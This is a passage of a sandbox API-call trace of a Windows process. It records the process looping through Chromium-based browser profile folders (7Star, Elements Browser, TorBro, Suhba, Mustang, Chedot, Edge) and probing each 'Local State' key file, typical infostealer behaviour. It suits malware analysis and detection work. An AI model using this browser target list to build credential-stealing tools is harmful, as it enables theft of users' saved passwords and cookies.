ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x869af8, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.416] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.416] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\7Star\\7Star\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\" [0143.416] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\" [0143.416] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\" [0143.416] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State" [0143.417] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0143.417] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8e) returned 0x3340048 [0143.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=71, lpWideCharStr=0x3340048, cchWideChar=71 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State") returned 71 [0143.417] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.417] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.417] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\local state")) returned 0xffffffff [0143.417] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.417] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.417] GetLastError () returned 0x3 [0143.417] SetLastError (dwErrCode=0x3) [0143.417] GetLastError () returned 0x3 [0143.417] SetLastError (dwErrCode=0x3) [0143.417] GetLastError () returned 0x3 [0143.417] SetLastError (dwErrCode=0x3) [0143.417] GetLastError () returned 0x3 [0143.418] SetLastError (dwErrCode=0x3) [0143.418] GetLastError () returned 0x3 [0143.418] SetLastError (dwErrCode=0x3) [0143.418] GetLastError () returned 0x3 [0143.418] SetLastError (dwErrCode=0x3) [0143.418] GetLastError () returned 0x3 [0143.418] SetLastError (dwErrCode=0x3) [0143.418] GetLastError () returned 0x3 [0143.418] SetLastError (dwErrCode=0x3) [0143.418] GetLastError () returned 0x3 [0143.418] SetLastError (dwErrCode=0x3) [0143.418] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208008a, ftCreationTime.dwHighDateTime=0xa0, ftLastAccessTime.dwLowDateTime=0x208008a, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x869a58, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.418] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.419] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Elements Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\" [0143.419] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\" [0143.419] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\" [0143.419] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\Local State" [0143.419] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0143.419] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x98) returned 0x3340048 [0143.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=76, lpWideCharStr=0x3340048, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\Local State") returned 76 [0143.419] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.419] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.419] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\elements browser\\user data\\local state")) returned 0xffffffff [0143.419] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.419] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.419] GetLastError () returned 0x3 [0143.420] SetLastError (dwErrCode=0x3) [0143.420] GetLastError () returned 0x3 [0143.420] SetLastError (dwErrCode=0x3) [0143.420] GetLastError () returned 0x3 [0143.420] SetLastError (dwErrCode=0x3) [0143.420] GetLastError () returned 0x3 [0143.420] SetLastError (dwErrCode=0x3) [0143.420] GetLastError () returned 0x3 [0143.420] SetLastError (dwErrCode=0x3) [0143.420] GetLastError () returned 0x3 [0143.420] SetLastError (dwErrCode=0x3) [0143.420] GetLastError () returned 0x3 [0143.420] SetLastError (dwErrCode=0x3) [0143.420] GetLastError () returned 0x3 [0143.420] SetLastError (dwErrCode=0x3) [0143.420] GetLastError () returned 0x3 [0143.421] SetLastError (dwErrCode=0x3) [0143.421] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080094, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080094, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x8405d0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.421] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.421] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\TorBro\\Profile\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\" [0143.421] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\" [0143.421] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\" [0143.421] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State" [0143.421] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x2361478 [0143.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0143.421] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340048 [0143.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=64, lpWideCharStr=0x3340048, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State") returned 64 [0143.421] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23611c0 [0143.421] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.421] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\local state")) returned 0xffffffff [0143.422] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.422] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.422] GetLastError () returned 0x3 [0143.422] SetLastError (dwErrCode=0x3) [0143.422] GetLastError () returned 0x3 [0143.422] SetLastError (dwErrCode=0x3) [0143.422] GetLastError () returned 0x3 [0143.422] SetLastError (dwErrCode=0x3) [0143.422] GetLastError () returned 0x3 [0143.422] SetLastError (dwErrCode=0x3) [0143.422] GetLastError () returned 0x3 [0143.422] SetLastError (dwErrCode=0x3) [0143.422] GetLastError () returned 0x3 [0143.422] SetLastError (dwErrCode=0x3) [0143.422] GetLastError () returned 0x3 [0143.422] SetLastError (dwErrCode=0x3) [0143.422] GetLastError () returned 0x3 [0143.422] SetLastError (dwErrCode=0x3) [0143.422] GetLastError () returned 0x3 [0143.422] SetLastError (dwErrCode=0x3) [0143.422] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007c, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007c, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x873318, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.423] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.423] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Suhba\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\" [0143.423] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\" [0143.423] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\" [0143.423] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\Local State" [0143.423] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0143.423] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x82) returned 0x3340048 [0143.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=65, lpWideCharStr=0x3340048, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\Local State") returned 65 [0143.423] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.423] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.423] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\suhba\\user data\\local state")) returned 0xffffffff [0143.424] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.424] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.424] GetLastError () returned 0x3 [0143.424] SetLastError (dwErrCode=0x3) [0143.424] GetLastError () returned 0x3 [0143.424] SetLastError (dwErrCode=0x3) [0143.424] GetLastError () returned 0x3 [0143.424] SetLastError (dwErrCode=0x3) [0143.424] GetLastError () returned 0x3 [0143.424] SetLastError (dwErrCode=0x3) [0143.424] GetLastError () returned 0x3 [0143.424] SetLastError (dwErrCode=0x3) [0143.424] GetLastError () returned 0x3 [0143.424] SetLastError (dwErrCode=0x3) [0143.424] GetLastError () returned 0x3 [0143.424] SetLastError (dwErrCode=0x3) [0143.424] GetLastError () returned 0x3 [0143.425] SetLastError (dwErrCode=0x3) [0143.425] GetLastError () returned 0x3 [0143.425] SetLastError (dwErrCode=0x3) [0143.425] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007e, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x8730d8, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.425] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.425] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Rafotech\\Mustang\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\" [0143.425] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\" [0143.425] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\" [0143.425] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\Local State" [0143.426] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0143.426] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x98) returned 0x3340048 [0143.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=76, lpWideCharStr=0x3340048, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\Local State") returned 76 [0143.426] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23611c0 [0143.426] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.426] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\rafotech\\mustang\\user data\\local state")) returned 0xffffffff [0143.427] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.427] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.427] GetLastError () returned 0x3 [0143.427] SetLastError (dwErrCode=0x3) [0143.427] GetLastError () returned 0x3 [0143.427] SetLastError (dwErrCode=0x3) [0143.427] GetLastError () returned 0x3 [0143.427] SetLastError (dwErrCode=0x3) [0143.427] GetLastError () returned 0x3 [0143.428] SetLastError (dwErrCode=0x3) [0143.428] GetLastError () returned 0x3 [0143.428] SetLastError (dwErrCode=0x3) [0143.428] GetLastError () returned 0x3 [0143.428] SetLastError (dwErrCode=0x3) [0143.428] GetLastError () returned 0x3 [0143.428] SetLastError (dwErrCode=0x3) [0143.428] GetLastError () returned 0x3 [0143.428] SetLastError (dwErrCode=0x3) [0143.428] GetLastError () returned 0x3 [0143.428] SetLastError (dwErrCode=0x3) [0143.429] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080094, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080094, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x8405d0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.429] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.429] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Chedot\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\" [0143.429] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\" [0143.429] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\" [0143.429] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State" [0143.429] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0143.430] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x84) returned 0x3340048 [0143.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=66, lpWideCharStr=0x3340048, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State") returned 66 [0143.430] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23611c0 [0143.430] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0143.430] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\local state")) returned 0xffffffff [0143.430] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0143.430] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0143.430] GetLastError () returned 0x3 [0143.430] SetLastError (dwErrCode=0x3) [0143.430] GetLastError () returned 0x3 [0143.430] SetLastError (dwErrCode=0x3) [0143.430] GetLastError () returned 0x3 [0143.430] SetLastError (dwErrCode=0x3) [0143.430] GetLastError () returned 0x3 [0143.430] SetLastError (dwErrCode=0x3) [0143.431] GetLastError () returned 0x3 [0143.431] SetLastError (dwErrCode=0x3) [0143.431] GetLastError () returned 0x3 [0143.431] SetLastError (dwErrCode=0x3) [0143.431] GetLastError () returned 0x3 [0143.431] SetLastError (dwErrCode=0x3) [0143.431] GetLastError () returned 0x3 [0143.431] SetLastError (dwErrCode=0x3) [0143.431] GetLastError () returned 0x3 [0143.431] SetLastError (dwErrCode=0x3) [0143.431] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080080, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x790260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x85ee18, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0143.431] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0143.432] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Microsoft\\Edge\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\" [0143.432] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\" [0143.432] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\" [0143.432] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\Local State" [0143.432] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2361478 [0143.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361478, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0143.432] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x94) returned 0x3340048 [0143.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 